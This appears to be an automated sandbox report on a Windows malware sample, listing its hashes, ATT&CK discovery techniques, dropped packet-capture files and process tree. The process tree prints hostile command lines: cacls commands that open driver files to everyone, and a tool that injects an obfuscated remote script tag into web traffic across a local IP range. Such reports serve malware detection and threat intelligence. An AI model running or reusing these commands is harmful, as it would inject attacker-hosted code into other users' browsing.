373623b19a0eb6f4a54003cec7c07ca3c79a763f748382f676c15ed69d6a322b

General

Target

04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe
Size

176KB
MD5

04619db5b57ad16e50c042fe16e90987
SHA1

512e3461033c2f65d46d1967c44c4be3b5e90749
SHA256

373623b19a0eb6f4a54003cec7c07ca3c79a763f748382f676c15ed69d6a322b
SHA512

05b8c3229e2fdf7db0c3499f5ed298c0df69b45451d4f1730d055497d2a722c52a2829b432505ce0709fe39ff75aaf57629ff220d479a9de13d6d47884e6123b
SSDEEP

3072:z0MJPlP21lO0P6brMPgOR26T89Ln22LKeQOineJ824INL9sfsNkyout7:z5Bc1z6MIOz899Binee2R9F/oS7

Score

8^/10

discovery

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\npf.sys	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
5108	360ucrp.exe

Loads dropped DLL 5 IoCs

pid	Process
5108	360ucrp.exe
5108	360ucrp.exe
5108	360ucrp.exe
5108	360ucrp.exe
5108	360ucrp.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\360ucrp.exe	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\Packet.dll	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\WanPacket.dll	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\wpcap.dll	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	360ucrp.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 5008 wrote to memory of 4916	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	82
PID 5008 wrote to memory of 4916	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	82
PID 5008 wrote to memory of 4916	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	82
PID 5008 wrote to memory of 2460	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	84
PID 5008 wrote to memory of 2460	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	84
PID 5008 wrote to memory of 2460	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	84
PID 5008 wrote to memory of 3120	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	86
PID 5008 wrote to memory of 3120	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	86
PID 5008 wrote to memory of 3120	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	86
PID 5008 wrote to memory of 1972	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	88
PID 5008 wrote to memory of 1972	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	88
PID 5008 wrote to memory of 1972	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	88
PID 5008 wrote to memory of 4016	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	90
PID 5008 wrote to memory of 4016	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	90
PID 5008 wrote to memory of 4016	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	90
PID 5008 wrote to memory of 5108	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	99
PID 5008 wrote to memory of 5108	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	99
PID 5008 wrote to memory of 5108	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	99
PID 5008 wrote to memory of 2788	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	102
PID 5008 wrote to memory of 2788	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	102
PID 5008 wrote to memory of 2788	5008	04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\04619db5b57ad16e50c042fe16e90987_JaffaCakes118.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\drivers\npf.sys /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4916
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\Packet.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2460
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\WanPacket.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3120
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\wpcap.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1972
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\npptools.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4016
- C:\Windows\SysWOW64\360ucrp.exe
  -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<script language=JavaScript src=http://b%71h.K%77%69k.%54o/tj.js></script>"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5108
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 12.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\12.bat

Filesize
2KB

MD5
bfdfcc046dc5fc3a3cd6b13cd16e9e31

SHA1
a1e46b354f890118b08e5d9fdcee630aed3d9cd1

SHA256
3aecd061955756c9fa60ac08a6f4760fdfc33f733ddac13a0767ef39eb7dfe86

SHA512
f2906d16c1f0aec3c45e6a9bb85102db341989829cdc2302757e26e003c9fb0baa6c1b4a18eb441348fdf981b11f1abc1de6963674f56fd0abe3c96f3e26dc63

Download Submit
C:\Windows\SysWOW64\360ucrp.exe

Filesize
8.0MB

MD5
e1735b7692449df0632c6d79f3a76454

SHA1
a2f1284638f1b748d12c6606de8e791c689a5b5d

SHA256
f41ab040f0ed9b178ec85a2781242a33405c0510dfd3e452200b6a5f5cceba9e

SHA512
abd7aaaab6ef07838a53a9f757771f3990445569629e9e149c96f1cde39bd1e6efcc91a428828e53b947dd09764a53a3bf376404e216a679e6995ec99e5e6f2b

Download Submit
C:\Windows\SysWOW64\WanPacket.dll

Filesize
66KB

MD5
fdd104a9fd3427a1df37041fa947a041

SHA1
cca1881a3c02033008f78cc39b712b637c7f3e13

SHA256
384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

SHA512
9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

Download Submit
C:\Windows\SysWOW64\packet.dll

Filesize
86KB

MD5
9062aeea8cbfc4f0780bbbefad7cebcb

SHA1
c4ad39ec51ad0e84fe58f62931d13cddfde3189e

SHA256
b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

SHA512
60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
234KB

MD5
ce842d25e5b7e6ff21a86cad9195fbe8

SHA1
d762270be089a89266b012351b52c595e260b59b

SHA256
7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

SHA512
84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

Download Submit
memory/5008-0-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/5008-2-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/5108-11-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/5108-18-0x0000000000550000-0x0000000000565000-memory.dmp

Filesize
84KB

Download
memory/5108-22-0x0000000000440000-0x0000000000450000-memory.dmp

Filesize
64KB

Download
memory/5108-23-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download

Analysis

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